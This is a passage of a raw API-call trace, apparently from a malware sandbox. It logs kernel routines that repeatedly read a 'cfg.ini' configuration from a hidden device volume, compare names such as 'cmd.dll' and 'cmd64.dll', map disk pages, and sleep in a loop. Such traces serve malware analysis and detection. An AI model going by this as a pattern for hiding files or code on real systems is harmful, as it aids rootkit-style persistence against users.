FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.698] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf780 [0117.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.698] KeLeaveCriticalRegion () [0117.698] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.698] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.698] KeEnterCriticalRegion () [0117.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.698] KeLeaveCriticalRegion () [0117.698] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.698] KeEnterCriticalRegion () [0117.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.698] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.698] IdePortDispatch () returned 0x103 [0117.700] KeWaitForMutexObject () returned 0x0 [0117.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.700] KeLeaveCriticalRegion () [0117.700] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.700] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.700] KeEnterCriticalRegion () [0117.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.700] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf0000 [0117.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.700] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.700] IdePortDispatch () returned 0x103 [0117.700] KeWaitForMutexObject () returned 0x0 [0117.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.701] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.701] IdePortDispatch () returned 0x103 [0117.701] KeWaitForMutexObject () returned 0x0 [0117.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.701] KeLeaveCriticalRegion () [0117.701] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.701] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.701] KeEnterCriticalRegion () [0117.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.702] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.702] KeLeaveCriticalRegion () [0117.702] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.702] KeEnterCriticalRegion () [0117.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.702] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.702] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.702] KeLeaveCriticalRegion () [0117.702] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.702] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.702] KeEnterCriticalRegion () [0117.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.702] ExFreePoolWithTag (P=0xfffffa80039cf780, Tag=0x0) [0117.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.702] KeLeaveCriticalRegion () [0117.702] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.702] ReleaseMutex (hMutex=0xf0) returned 1 [0117.702] Sleep (dwMilliseconds=0x124f80) [0117.720] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.720] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.720] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.720] KeEnterCriticalRegion () [0117.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.720] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.720] IdePortDispatch () returned 0x103 [0117.720] KeWaitForMutexObject () returned 0x0 [0117.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.721] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.721] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.721] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.721] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.721] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.721] KeLeaveCriticalRegion () [0117.721] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.721] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.721] KeEnterCriticalRegion () [0117.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.721] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.721] KeLeaveCriticalRegion () [0117.721] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.721] KeEnterCriticalRegion () [0117.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.721] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.721] IdePortDispatch () returned 0x103 [0117.721] KeWaitForMutexObject () returned 0x0 [0117.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.721] KeLeaveCriticalRegion () [0117.721] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.722] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.722] KeEnterCriticalRegion () [0117.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.722] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf5000 [0117.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.722] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.722] IdePortDispatch () returned 0x103 [0117.722] KeWaitForMutexObject () returned 0x0 [0117.722] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.722] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.722] IdePortDispatch () returned 0x103 [0117.722] KeWaitForMutexObject () returned 0x0 [0117.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.722] KeLeaveCriticalRegion () [0117.722] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.723] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.723] KeEnterCriticalRegion () [0117.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.723] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.723] KeLeaveCriticalRegion () [0117.723] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.723] KeEnterCriticalRegion () [0117.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.723] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.723] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6e60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.723] KeLeaveCriticalRegion () [0117.723] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.723] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.723] KeEnterCriticalRegion () [0117.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.723] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.724] KeLeaveCriticalRegion () [0117.724] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.724] ReleaseMutex (hMutex=0xf0) returned 1 [0117.724] Sleep (dwMilliseconds=0x124f80) [0117.743] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.743] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.743] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.743] KeEnterCriticalRegion () [0117.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.743] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.743] IdePortDispatch () returned 0x103 [0117.744] KeWaitForMutexObject () returned 0x0 [0117.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.744] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.744] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.744] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.744] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.744] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6aa0 [0117.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.744] KeLeaveCriticalRegion () [0117.744] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.744] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.744] KeEnterCriticalRegion () [0117.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.744] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.744] KeLeaveCriticalRegion () [0117.744] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.744] KeEnterCriticalRegion () [0117.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.744] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.744] IdePortDispatch () returned 0x103 [0117.745] KeWaitForMutexObject () returned 0x0 [0117.745] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.745] KeLeaveCriticalRegion () [0117.745] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.745] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.745] KeEnterCriticalRegion () [0117.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.745] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfa000 [0117.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.745] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.745] IdePortDispatch () returned 0x103 [0117.745] KeWaitForMutexObject () returned 0x0 [0117.745] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.746] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.746] IdePortDispatch () returned 0x103 [0117.746] KeWaitForMutexObject () returned 0x0 [0117.746] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.746] KeLeaveCriticalRegion () [0117.746] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.746] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.747] KeEnterCriticalRegion () [0117.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.747] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.747] KeLeaveCriticalRegion () [0117.747] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.747] KeEnterCriticalRegion () [0117.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.747] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.747] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6b60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.747] KeLeaveCriticalRegion () [0117.747] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.747] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.747] KeEnterCriticalRegion () [0117.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.747] ExFreePoolWithTag (P=0xfffffa8003aa6aa0, Tag=0x0) [0117.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.747] KeLeaveCriticalRegion () [0117.747] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.747] ReleaseMutex (hMutex=0xf0) returned 1 [0117.747] Sleep (dwMilliseconds=0x124f80) [0117.766] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.766] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.766] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.766] KeEnterCriticalRegion () [0117.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.766] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.766] IdePortDispatch () returned 0x103 [0117.767] KeWaitForMutexObject () returned 0x0 [0117.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.767] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.767] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.767] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.767] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.767] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.767] KeLeaveCriticalRegion () [0117.767] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.767] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.767] KeEnterCriticalRegion () [0117.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.767] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.767] KeLeaveCriticalRegion () [0117.767] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.767] KeEnterCriticalRegion () [0117.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.767] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.767] IdePortDispatch () returned 0x103 [0117.768] KeWaitForMutexObject () returned 0x0 [0117.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.768] KeLeaveCriticalRegion () [0117.768] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.768] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.768] KeEnterCriticalRegion () [0117.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cff000 [0117.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.768] IoAllocateMdl (in: 